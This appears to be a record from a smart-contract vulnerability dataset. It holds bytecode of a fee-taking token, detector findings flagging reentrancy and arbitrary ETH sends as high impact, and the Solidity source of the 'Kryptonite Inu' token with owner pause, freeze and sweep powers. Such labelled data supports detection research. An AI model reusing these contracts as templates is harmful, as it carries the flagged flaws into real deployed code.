0000000000000000000000000000000000000815260040161154b90612f25565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613005565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613085565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131db565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f03565b60405180910390fd5b5060008385611c8a91906132bc565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f45565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612972565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130c0565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613262565b90508284826121509190613231565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc5565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f03565b60405180910390fd5b50600083856122939190613231565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124228161261f565b61242c84836126dc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a5565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252c8a600854600c612716565b925092509250600061253c612212565b9050600080600061254f8e8787876127ac565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d091906131db565b905083811015612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c90612f85565b60405180910390fd5b8091505092915050565b6000612629612212565b90506000612640828461212090919063ffffffff16565b905061269481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f18260065461257790919063ffffffff16565b60068190555061270c816007546125c190919063ffffffff16565b6007819055505050565b6000806000806127426064612734888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276c606461275e888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279582612787858c61257790919063ffffffff16565b61257790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c5858961212090919063ffffffff16565b905060006127dc868961212090919063ffffffff16565b905060006127f3878961212090919063ffffffff16565b9050600061281c8261280e858761257790919063ffffffff16565b61257790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128486128438461315a565b613135565b9050808382526020820190508285602086028201111561286757600080fd5b60005b85811015612897578161287d88826128a1565b84526020840193506020830192505060018101905061286a565b5050509392505050565b6000813590506128b081613798565b92915050565b6000815190506128c581613798565b92915050565b600082601f8301126128dc57600080fd5b81356128ec848260208601612835565b91505092915050565b600081359050612904816137af565b92915050565b600081519050612919816137af565b92915050565b60008135905061292e816137c6565b92915050565b600081519050612943816137c6565b92915050565b60006020828403121561295b57600080fd5b6000612969848285016128a1565b91505092915050565b60006020828403121561298457600080fd5b6000612992848285016128b6565b91505092915050565b600080604083850312156129ae57600080fd5b60006129bc858286016128a1565b92505060206129cd858286016128a1565b9150509250929050565b6000806000606084860312156129ec57600080fd5b60006129fa868287016128a1565b9350506020612a0b868287016128a1565b9250506040612a1c8682870161291f565b9150509250925092565b60008060408385031215612a3957600080fd5b6000612a47858286016128a1565b9250506020612a588582860161291f565b9150509250929050565b600060208284031215612a7457600080fd5b600082013567ffffffffffffffff811115612a8e57600080fd5b612a9a848285016128cb565b91505092915050565b600060208284031215612ab557600080fd5b6000612ac3848285016128f5565b91505092915050565b600060208284031215612ade57600080fd5b6000612aec8482850161290a565b91505092915050565b600060208284031215612b0757600080fd5b6000612b158482850161291f565b91505092915050565b600080600060608486031215612b3357600080fd5b6000612b4186828701612934565b9350506020612b5286828701612934565b9250506040612b6386828701612934565b9150509250925092565b6000612b798383612b85565b60208301905092915050565b612b8e816132f0565b82525050565b612b9d816132f0565b82525050565b6000612bae82613196565b612bb881856131b9565b9350612bc383613186565b8060005b83811015612bf4578151612bdb8882612b6d565b9750612be6836131ac565b925050600181019050612bc7565b5085935050505092915050565b612c0a81613302565b82525050565b612c1981613345565b82525050565b6000612c2a826131a1565b612c3481856131ca565b9350612c44818560208601613357565b612c4d81613491565b840191505092915050565b6000612c656023836131ca565b9150612c70826134a2565b604082019050919050565b6000612c88602a836131ca565b9150612c93826134f1565b604082019050919050565b6000612cab6022836131ca565b9150612cb682613540565b604082019050919050565b6000612cce601b836131ca565b9150612cd98261358f565b602082019050919050565b6000612cf1601d836131ca565b9150612cfc826135b8565b602082019050919050565b6000612d146021836131ca565b9150612d1f826135e1565b604082019050919050565b6000612d376020836131ca565b9150612d4282613630565b602082019050919050565b6000612d5a6029836131ca565b9150612d6582613659565b604082019050919050565b6000612d7d6025836131ca565b9150612d88826136a8565b604082019050919050565b6000612da06024836131ca565b9150612dab826136f7565b604082019050919050565b6000612dc36017836131ca565b9150612dce82613746565b602082019050919050565b6000612de66011836131ca565b9150612df18261376f565b602082019050919050565b612e058161332e565b82525050565b612e1481613338565b82525050565b6000602082019050612e2f6000830184612b94565b92915050565b6000604082019050612e4a6000830185612b94565b612e576020830184612b94565b9392505050565b6000604082019050612e736000830185612b94565b612e806020830184612dfc565b9392505050565b600060c082019050612e9c6000830189612b94565b612ea96020830188612dfc565b612eb66040830187612c10565b612ec36060830186612c10565b612ed06080830185612b94565b612edd60a0830184612dfc565b979650505050505050565b6000602082019050612efd6000830184612c01565b92915050565b60006020820190508181036000830152612f1d8184612c1f565b905092915050565b60006020820190508181036000830152612f3e81612c58565b9050919050565b60006020820190508181036000830152612f5e81612c7b565b9050919050565b60006020820190508181036000830152612f7e81612c9e565b9050919050565b60006020820190508181036000830152612f9e81612cc1565b9050919050565b60006020820190508181036000830152612fbe81612ce4565b9050919050565b60006020820190508181036000830152612fde81612d07565b9050919050565b60006020820190508181036000830152612ffe81612d2a565b9050919050565b6000602082019050818103600083015261301e81612d4d565b9050919050565b6000602082019050818103600083015261303e81612d70565b9050919050565b6000602082019050818103600083015261305e81612d93565b9050919050565b6000602082019050818103600083015261307e81612db6565b9050919050565b6000602082019050818103600083015261309e81612dd9565b9050919050565b60006020820190506130ba6000830184612dfc565b92915050565b600060a0820190506130d56000830188612dfc565b6130e26020830187612c10565b81810360408301526130f48186612ba3565b90506131036060830185612b94565b6131106080830184612dfc565b9695505050505050565b600060208201905061312f6000830184612e0b565b92915050565b600061313f613150565b905061314b828261338a565b919050565b6000604051905090565b600067ffffffffffffffff82111561317557613174613462565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e68261332e565b91506131f18361332e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322657613225613404565b5b828201905092915050565b600061323c8261332e565b91506132478361332e565b92508261325757613256613433565b5b828204905092915050565b600061326d8261332e565b91506132788361332e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b1576132b0613404565b5b828202905092915050565b60006132c78261332e565b91506132d28361332e565b9250828210156132e5576132e4613404565b5b828203905092915050565b60006132fb8261330e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133508261332e565b9050919050565b60005b8381101561337557808201518184015260208101905061335a565b83811115613384576000848401525b50505050565b61339382613491565b810181811067ffffffffffffffff821117156133b2576133b1613462565b5b80604052505050565b60006133c68261332e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133f9576133f8613404565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a1816132f0565b81146137ac57600080fd5b50565b6137b881613302565b81146137c357600080fd5b50565b6137cf8161332e565b81146137da57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122024c6bfd2d5e6734afac73fee6e32e9787d1208cbd6f7d0fcd20371bae828a75964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,126
0x3f246d1ba71855e4d289367dbf08344b8ad8b929
/** *Submitted for verification at Etherscan.io on 2021-12-19 */ // Kryptonite Inu NFTs Token Smart Contract // Token Symbol : KRYPTINU // Token Name : Kryptonite Inu // Total supply: 32000000000 // Decimals : 18 // Official Website: https://www.kryptinu.com/en/ pragma solidity ^0.4.24; contract ERC20 { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256 balance); function allowance(address owner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 value) public returns (bool success); function approve(address spender, uint256 value) public returns (bool success); function transferFrom(address from, address to, uint256 value) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a - b; assert(b <= a && c <= a); return c; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a && c>=b); return c; } } library SafeERC20 { function safeTransfer(ERC20 _token, address _to, uint256 _value) internal { require(_token.transfer(_to, _value)); } } contract Owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner,"O1- Owner only function"); _; } function setOwner(address newOwner) onlyOwner public { owner = newOwner; } } contract Pausable is Owned { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract Kryptinu is Owned, Pausable, ERC20 { using SafeMath for uint256; using SafeERC20 for ERC20; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; mapping (address => bool) public frozenAccount; mapping (address => bool) public verifyPublisher; mapping (address => bool) public verifyWallet; struct fStruct { uint256 index; } mapping(string => fStruct) private fileHashes; string[] private fileIndex; string public constant name = "Kryptonite Inu"; uint8 public constant decimals = 18; string public constant symbol = "KRYPTINU"; uint256 public constant initialSupply = 32000000000; uint256 public validationPrice = 7 * 10 ** uint(decimals); address public validationWallet = address(0); constructor() public { validationWallet = msg.sender; verifyWallet[msg.sender] = true; totalSupply = initialSupply * 10 ** uint(decimals); balances[msg.sender] = totalSupply; emit Transfer(address(0),owner,initialSupply); } function () public payable { revert(); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) { require(_to != msg.sender,"T1- Recipient can not be the same as sender"); require(_to != address(0),"T2- Please check the recipient address"); require(balances[msg.sender] >= _value,"T3- The balance of sender is too low"); require(!frozenAccount[msg.sender],"T4- The wallet of sender is frozen"); require(!frozenAccount[_to],"T5- The wallet of recipient is frozen"); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) { require(_to != address(0),"TF1- Please check the recipient address"); require(balances[_from] >= _value,"TF2- The balance of sender is too low"); require(allowed[_from][msg.sender] >= _value,"TF3- The allowance of sender is too low"); require(!frozenAccount[_from],"TF4- The wallet of sender is frozen"); require(!frozenAccount[_to],"TF5- The wallet of recipient is frozen"); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) { require((_value == 0) || (allowed[msg.sender][_spender] == 0),"A1- Reset allowance to 0 first"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_subtractedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } struct TKN { address sender; uint256 value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint256 _value, bytes _data) public pure returns (bool) { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); return true; } function transferToken(address tokenAddress, uint256 tokens) public onlyOwner { ERC20(tokenAddress).safeTransfer(owner,tokens); } function burn(uint256 _value) public onlyOwner returns (bool) { require(_value <= balances[msg.sender],"B1- The balance of burner is too low"); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); return true; } function freeze(address _address, bool _state) public onlyOwner returns (bool) { frozenAccount[_address] = _state; emit Freeze(_address, _state); return true; } function validatePublisher(address Address, bool State, string Publisher) public onlyOwner returns (bool) { verifyPublisher[Address] = State; emit ValidatePublisher(Address,State,Publisher); return true; } function validateWallet(address Address, bool State, string Wallet) public onlyOwner returns (bool) { verifyWallet[Address] = State; emit ValidateWallet(Address,State,Wallet); return true; } function validateFile(address To, uint256 Payment, bytes Data, bool cStore, bool eLog) public whenNotPaused returns (bool) { require(Payment>=validationPrice,"V1- Insufficient payment provided"); require(verifyPublisher[msg.sender],"V2- Unverified publisher address"); require(!frozenAccount[msg.sender],"V3- The wallet of publisher is frozen"); require(Data.length == 64,"V4- Invalid hash provided"); if (!verifyWallet[To] || frozenAccount[To]) { To = validationWallet; } uint256 index = 0; string memory fileHash = string(Data); if (cStore) { if (fileIndex.length > 0) { require(fileHashes[fileHash].index == 0,"V5- This hash was previously validated"); } fileHashes[fileHash].index = fileIndex.push(fileHash)-1; index = fileHashes[fileHash].index; } if (allowed[To][msg.sender] >= Payment) { allowed[To][msg.sender] = allowed[To][msg.sender].sub(Payment); } else { balances[msg.sender] = balances[msg.sender].sub(Payment); balances[To] = balances[To].add(Payment); } emit Transfer(msg.sender, To, Payment); if (eLog) { emit ValidateFile(index,fileHash); } return true; } function verifyFile(string fileHash) public view returns (bool) { if (fileIndex.length == 0) { return false; } bytes memory a = bytes(fileIndex[fileHashes[fileHash].index]); bytes memory b = bytes(fileHash); if (a.length != b.length) { return false; } for (uint256 i = 0; i < a.length; i ++) { if (a[i] != b[i]) { return false; } } return true; } function setPrice(uint256 newPrice) public onlyOwner { validationPrice = newPrice; } function setWallet(address newWallet) public onlyOwner { validationWallet = newWallet; } function listFiles(uint256 startAt, uint256 stopAt) onlyOwner public returns (bool) { if (fileIndex.length == 0) { return false; } require(startAt <= fileIndex.length-1,"L1- Please select a valid start"); if (stopAt > 0) { require(stopAt > startAt && stopAt <= fileIndex.length-1,"L2- Please select a valid stop"); } else { stopAt = fileIndex.length-1; } for (uint256 i = startAt; i <= stopAt; i++) { emit LogEvent(i,fileIndex[i]); } return true; } event Burn(address indexed burner, uint256 value); event Freeze(address target, bool frozen); event ValidateFile(uint256 index, string data); event ValidatePublisher(address indexed publisherAddress, bool state, string indexed publisherName); event ValidateWallet(address indexed walletAddress, bool state, string indexed walletName); event LogEvent(uint256 index, string data) anonymous; }
0x6080604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101bc578063095ea7b31461024c5780631072cbea146102b157806313af4035146102fe57806318160ddd146103415780631927a8ea1461036c57806323b872dd146103bb57806327e235e314610440578063313ce5671461049757806336ef12d5146104c8578063378dc3dc146105235780633f4ba83a1461054e57806342966c68146105655780634e83977a146105aa5780635c658165146106015780635c975abb1461067857806366188463146106a757806370a082311461070c5780638456cb59146107635780638da5cb5b1461077a57806391b7f5ed146107d157806395d89b41146107fe578063a9059cbb1461088e578063ae7d00f3146108f3578063b02710231461091e578063b414d4b61461099f578063bb0bef19146109fa578063bf120ae514610abd578063c0ee0b8a14610b24578063d22e7b6914610bcf578063d73dd62314610c7c578063dd62ed3e14610ce1578063deaa59df14610d58578063fc399c7914610d9b578063fe8312c114610df6575b600080fd5b3480156101c857600080fd5b506101d1610ea3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102115780820151818401526020810190506101f6565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025857600080fd5b50610297600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610edc565b604051808215151515815260200191505060405180910390f35b3480156102bd57600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e8565b005b34801561030a57600080fd5b5061033f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fc565b005b34801561034d57600080fd5b50610356611303565b6040518082815260200191505060405180910390f35b34801561037857600080fd5b506103a16004803603810190808035906020019092919080359060200190929190505050611309565b604051808215151515815260200191505060405180910390f35b3480156103c757600080fd5b50610426600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115ea565b604051808215151515815260200191505060405180910390f35b34801561044c57600080fd5b50610481600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d42565b6040518082815260200191505060405180910390f35b3480156104a357600080fd5b506104ac611d5a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104d457600080fd5b50610509600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d5f565b604051808215151515815260200191505060405180910390f35b34801561052f57600080fd5b50610538611d7f565b6040518082815260200191505060405180910390f35b34801561055a57600080fd5b50610563611d88565b005b34801561057157600080fd5b5061059060048036038101908080359060200190929190505050611eaf565b604051808215151515815260200191505060405180910390f35b3480156105b657600080fd5b506105bf6121bf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060d57600080fd5b50610662600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121e5565b6040518082815260200191505060405180910390f35b34801561068457600080fd5b5061068d61220a565b604051808215151515815260200191505060405180910390f35b3480156106b357600080fd5b506106f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061221d565b604051808215151515815260200191505060405180910390f35b34801561071857600080fd5b5061074d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612434565b6040518082815260200191505060405180910390f35b34801561076f57600080fd5b5061077861247d565b005b34801561078657600080fd5b5061078f6125a6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107dd57600080fd5b506107fc600480360381019080803590602001909291905050506125cb565b005b34801561080a57600080fd5b50610813612699565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610853578082015181840152602081019050610838565b50505050905090810190601f1680156108805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561089a57600080fd5b506108d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126d2565b604051808215151515815260200191505060405180910390f35b3480156108ff57600080fd5b50610908612cca565b6040518082815260200191505060405180910390f35b34801561092a57600080fd5b50610985600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612cd0565b604051808215151515815260200191505060405180910390f35b3480156109ab57600080fd5b506109e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f54565b604051808215151515815260200191505060405180910390f35b348015610a0657600080fd5b50610aa3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803515159060200190929190803515159060200190929190505050612f74565b604051808215151515815260200191505060405180910390f35b348015610ac957600080fd5b50610b0a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050613954565b604051808215151515815260200191505060405180910390f35b348015610b3057600080fd5b50610bb5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050613aea565b604051808215151515815260200191505060405180910390f35b348015610bdb57600080fd5b50610c62600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050613dd7565b604051808215151515815260200191505060405180910390f35b348015610c8857600080fd5b50610cc7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613fb4565b604051808215151515815260200191505060405180910390f35b348015610ced57600080fd5b50610d42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506141cb565b6040518082815260200191505060405180910390f35b348015610d6457600080fd5b50610d99600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614252565b005b348015610da757600080fd5b50610ddc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061435a565b604051808215151515815260200191505060405180910390f35b348015610e0257600080fd5b50610e89600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061437a565b604051808215151515815260200191505060405180910390f35b6040805190810160405280600e81526020017f4b727970746f6e69746520496e7500000000000000000000000000000000000081525081565b6000806014905490